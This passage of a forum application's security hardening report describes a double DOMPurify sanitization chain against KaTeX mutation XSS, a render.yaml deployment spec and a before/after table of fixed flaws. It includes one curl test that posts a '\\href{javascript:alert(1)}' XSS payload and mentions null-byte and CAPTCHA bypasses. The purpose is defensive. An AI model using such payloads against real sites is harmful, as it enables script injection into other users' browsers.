The C2 forum allows rich content through Markdown (via marked) and mathematical LaTeX rendering (via KaTeX). This combination creates a known XSS surface: KaTeX can transform apparently safe HTML into executable vectors. For example, the LaTeX command \\href{javascript:...} can generate anchor elements with javascript: URIs after rendering, which the initial DOMPurify pass would not catch because the dangerous content is generated during the KaTeX rendering phase, not present in the original Markdown output.

6.3 Double-Pass Architecture

The client-side rendering pipeline implements a two-pass DOMPurify sanitization chain:

  • // PASS 1: The raw HTML output from the Markdown parser is sanitized through DOMPurify. This removes standard XSS vectors: script tags, event handlers (onerror, onclick, onload), javascript: pseudo-protocols, and known mutation payloads.
  • // GENERATION: The clean DOM is scanned for LaTeX math blocks, which are passed to KaTeX for rendering. KaTeX generates HTML output that may contain anchors or attributes derived from user-supplied LaTeX commands.
  • // PASS 2: The final DOM, now containing KaTeX-generated HTML, undergoes a second DOMPurify sanitization pass. This catches any mutation-based XSS that KaTeX introduced, such as javascript: URIs in href attributes or inline event handlers that were not present in the original Markdown.

This double-pass architecture is complemented by the use of textContent instead of innerHTML for non-rendered user data (usernames, titles, metadata), providing defense in depth against stored and reflected XSS. The approach follows the principle that any content pipeline involving intermediate transformations must validate output at every stage.

// evidence/katex_xss_test.sh (KaTeX Mutation XSS Vector)
curl -s -X POST "https://c2.noir0x63.org/api/threads" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "title": "KaTeX XSS Test", "content": "\\href{javascript:alert(1)}{Click me}", "category": "web-security", "signature": "...", "nonce": "...", "timestamp": "..." }'

7. Infrastructure as Code: render.yaml

The deployment specification was codified as a render.yaml file to enable reproducible cloud deployments on Render. Key infrastructure decisions encoded in the specification:

  • // PERSISTENT DISK: A 1GB persistent disk (c2-data) mounted at /data prevents SQLite database loss on container restarts or deployments. The DATA_DIR environment variable points the application to this mounted volume.
  • // WEB SERVICE CONFIG: The service is defined as a web service on the Render infrastructure, with the start command set to node server.js. The Cloudflare tunnel component is excluded for cloud deployment, as Render provides native HTTPS termination.
  • // ENVIRONMENT VARIABLES: Sensitive values (TOTP_PEPPER, session secrets) are defined as Render environment variables rather than committed to version control. The TOTP_PEPPER variable is auto-generated with a secure random value on first deployment.

The IaC specification was pushed to the repository under commit d9239b2. The full repository is available at github.com/Noir0x63/Command-Control-Forum.

// infrastructure/render.yaml (IaC Specification)
services: - type: web name: c2-forum env: node buildCommand: npm install startCommand: node server.js envVars: - key: DATA_DIR value: /data - key: TOTP_PEPPER generateValue: true disk: name: c2-data mountPath: /data sizeGB: 1

8. Verification and Results

Vector Before (v2.0) After (v2.2)
Rate limit race condition Vulnerable (lost updates, bypassable concurrent) Fixed (atomic SQLite operations, suppressed headers)
Null byte search bypass Vulnerable (%00 bypasses LIKE filter, returns all threads) Fixed (global sanitization middleware, blocks %00/\\x00)
DoS via scrypt threadpool Vulnerable (4 threads, N=131072) Mitigated (Argon2id, dedicated worker pool)
CAPTCHA bypass via template matching Vulnerable (deterministic path solver) Mitigated (invisible honeypot, no text to match)
XSS via KaTeX mutation Existing (DOMPurify, textContent, escapeHtml) Verified (double DOMPurify chain, audit clean)
TOTP secret persistence Critical (volatile in-memory key, lockout on restart) Fixed (TOTP_PEPPER env var, persistent encryption)
Deployment reproducibility Manual configuration IaC via render.yaml, persistent disk, env vars

All seven hardening vectors were verified in staging and promoted to production on 2026-07-03. System state: SECURE v2.2.

9. Architectural Summary

The hardening cycle addressed seven distinct layers of the application stack. The input validation layer blocked null byte injection and WAF evasions via global sanitization middleware. The rate limiting layer fixed a race condition in the SQLite-backed limiter and suppressed information-leaking headers. The authentication layer migrated from scrypt to Argon2id, eliminating a trivial DoS vector while improving resistance to GPU-based password cracking. The MFA layer resolved the TOTP secret persistence flaw, replacing a volatile in-memory encryption key with a stable environment variable to prevent permanent user lockout on server restarts. The anti-bot layer replaced a bypassable visual CAPTCHA with an invisible honeypot, reducing user friction while maintaining automated registration protection. The content rendering layer verified the double DOMPurify chain that closes mutation-based XSS vectors from KaTeX. The deployment layer codified infrastructure as render.yaml, ensuring reproducible and secure cloud deployments with persistent storage.

Each remediation was grounded in specific findings from the whitebox and blackbox audit sessions. The approach prioritized architectural fixes over point patches: replacing a fundamentally flawed algorithm (scrypt) rather than increasing threadpool size, replacing a broken CAPTCHA model rather than adding more distortion, implementing persistent TOTP secret encryption rather than relying on volatile memory, and constructing a robust sanitization pipeline rather than maintaining a blocklist of LaTeX commands. The result is a v2.2 system with measurable security improvements across authentication, MFA, anti-automation, content security, and deployment infrastructure.

Related Articles